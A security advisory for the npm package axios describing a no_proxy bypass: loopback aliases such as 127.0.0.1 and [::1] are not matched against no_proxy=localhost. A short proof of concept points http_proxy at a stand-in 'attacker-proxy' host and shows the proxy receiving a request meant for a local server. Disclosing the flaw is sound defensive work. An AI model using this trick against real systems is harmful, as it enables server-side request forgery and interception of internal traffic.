GHSA-m7pr-hjqh-92cm — Axios: no_proxy bypass via IP alias allows SSRF

2026-10-07T23:32:55.265048+00:00

Affected: npm: axios

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: - no_proxy=localhost does NOT block 127.0.0.1 or [::1] - no_proxy=127.0.0.1 does NOT block localhost or [::1]

POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888';

```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >.... process.env.http_proxy = 'http://127.0.0.1:8888';

console.log('=== Test 1: localhost (should bypass proxy) ==='); try { await axios.get('http://localhost:7777/'); } catch(e) { console.log('Error:', e.message); }

console.log(''); console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ==='); try { await axios.get('http://127.0.0.1:7777/'); } catch(e) { console.log('Error:', e.message); }

fakeProxy.close(); internalServer.close(); }); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. ```

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GHSA-m7pr-hjqh-92cm — Axios: no_proxy bypass via IP alias allows SSRF